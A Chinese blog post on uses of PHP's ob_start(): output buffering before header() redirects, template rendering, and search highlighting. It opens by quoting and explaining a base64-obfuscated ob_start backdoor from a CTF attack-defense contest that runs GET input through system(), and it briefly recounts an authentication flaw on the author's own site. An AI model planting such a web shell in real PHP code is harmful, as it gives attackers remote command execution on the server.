聊聊 PHP ob_start() 在开发中的应用
先从安全聊起
上周六协会 AWD,其中的 web1 中,有一个ob_start()
的后门,具体代码是这样的:
@ob_start(base64_decode('c3lzdGVt'));
echo "$_GET[persistent]";
@ob_end_flush();
参照 PHP 的文档,我们其实可以知道这个后门的原理。
c3lzdGVt
这一段,base64_decode
出来的即为system
。在使用ob_start()
将即将输出的数据存入到了缓冲区中,在之后调用ob_end_flush()
后,因为在ob_start()
中传入了参数指定了回调函数,因此缓存区中的数据会被丢给回调函数处理——也就是给system
了。
回到开发
当然啦,ob_start
并不是为了这个后门而设计的。她在开发中虽然用到的次数不多,但一旦用到了,效果往往十分神奇。因此我才想好好聊一下。先聊聊ob_start()
主要是干什么的吧。当调用了ob_start()
后,在这之后的输出都不会被渲染到页面中,而是直接存入到 PHP 缓冲区中;之后就可以使用ob_get_contents()
来获取缓冲区中的内容呀,可以使用ob_end_clean()
来清理输出的内容呀这些。
比如下面这段我瞎编的魔性代码:
ob_start();
echo('I love Asuna!!');
ob_end_clean();
echo('No, you love Mashiro.');
上面仅会输入:No, you love Mashiro.
,而Asuna
的部分就被清楚了。仅供娱乐哈哈哈。除了echo()
外,诸如require()
include()
的包含也是可以用的。
总而言之,ob_start()
使得我们对于页面输出可控。
headers already sent by (output …
想必不少人在写 PHP 时都遇到过上面这行报错吧。 很多时候,我们都会使用类似
header('Location: login.php');
这样的代码来实现 302 跳转。即使用header()
函数来添加返回头实现跳转。
然而,在header()
之前是不允许有任何输出的,不然就会出现上面的这行报错。
还记得我之前在写 Cube 时,就是因为在判断该页面是否允许访问时,相关的菜单就已经包含显示出来了。因此会报上文的错误。 只怪当时太年轻,对于 Web 安全所知甚少,当时的解决方案是前端 JS 进行跳转。觉得在 Chrome 的开发者工具中看不到页面的内容,就说明页面没有返回给客户端,谁知用 burp 抓包能抓到。 这个漏洞直到今天才被我发现,感觉花时间修复了。幸好在这之前网站没有被打穿。利用前端跳转这个机制,你可以用 burp 抓到 Security 页面的内容,其中有我 Google Autherticator 的二维码,扫描后即可拿到临时登录密码登录,然后通过上传小工具的地方上传包含恶意代码的 PHP 后门。然后我的站就完蛋了。
回到主题上来,Cube 上这个洞,我也是用ob_start()
进行修复的。
我使用了header()
进行 302 跳转,不过在程序的入口处,我加入了ob_start()
开启了缓冲区。这使得所有的内容不会被输出。当遇到header()
时,即可正常跳转。若没有跳转,则在最后使用ob_end_flush()
输出缓冲区中所有的数据。
当时我了解到ob_start()
的这个特性时,第一时间想到的就是这个!
在header()
前使用ob_start()
将输出存入缓冲区,从而实现正常跳转。
简化版的代码如下:
ob_start();
echo('Top meau here.');
if(!$isLogin){
ob_end_clean();
header('Location: login.php');
exit;
}
echo('Main contents.');
ob_end_flush();
header()
函数以外setcookie()
函数执行之前也是不能有任何输出的。这一点也可以用ob_start()
来解决。其实也好理解,setcookie()
其实就是加了个Set-Cookie
的返回头,本质其实就是header()
。模板语言
PHP 中的模板语言是个棒的东西。她基本上做到了前后端分离,让前端可以更专注于页面的搭建,显示数据的部分使用简单的模板语言语法进行占位。(当然这话放在单页应用、PWA 横行的今天,可能有点老了嘻嘻。
嘛,其实 PHP 中的模板语言,也是通过ob_start()
来实现的。即通过ob_start()
将模板语法的内容替换成真正的变量。这里往往会用到extract()
函数,就是那个在 CTF 中可以实现变量覆盖的函数。
这里给出在网上找到的一个简单的模板语言的实现原理代码:
来自:https://segmentfault.com/a/1190000011962590
class Template {
private $templatePath;
private $data;
public function setTemplatePath($path) {
$this->templatePath = $path;
}
/**
* 设置模板变量
* @param $key string | array
* @param $value
*/
public function assign($key, $value) {
if(is_array($key)) {
$this->data = array_merge($this->data, $key);
} elseif(is_string($key)) {
$this->data[$key] = $value;
}
}
/**
* 渲染模板
* @param $template
* @return string
*/
public function display($template) {
extract($this->data); // 注入变量
ob_start(); // 开启缓冲区,暂存输出
include ($this->templatePath . $template); // 加载模板
$res = ob_get_contents(); // 获取即将输出的模板的数据
ob_end_clean();
return $res;
}
}
使用:
$template = new Template();
$template->setTemplatePath(__DIR__ . '/template/');
$template->assign('name', 'salamander'); // 注入变量
$res = $template->display('index.html'); // 显示内容
整个实现的过程还是很奇妙的。能控制 PHP 的输出后,真的能做很多奇妙的事情。
搜索高亮??
突然想到,用 PHP 做搜索结果高亮时,是否也可以把准备输出的结果,先用ob_start()
存起来,然后进行字符串匹配加上关键词高亮;然后再输出呢?
因为是对所有将要输出的数据的匹配,所以不会有漏的。
这只是我突然之间的一个想法,不知道性能方面行不行得通,以后遇到类似的问题不妨可以去试试。
嘛,关于ob_start()
这个函数,想聊的大概就是这些啦。好像有段时间没大段大段地写过 PHP 了,都怪我太沉迷于 Golang。(*/ω*)
喜欢这篇文章?为什么不打赏一下呢?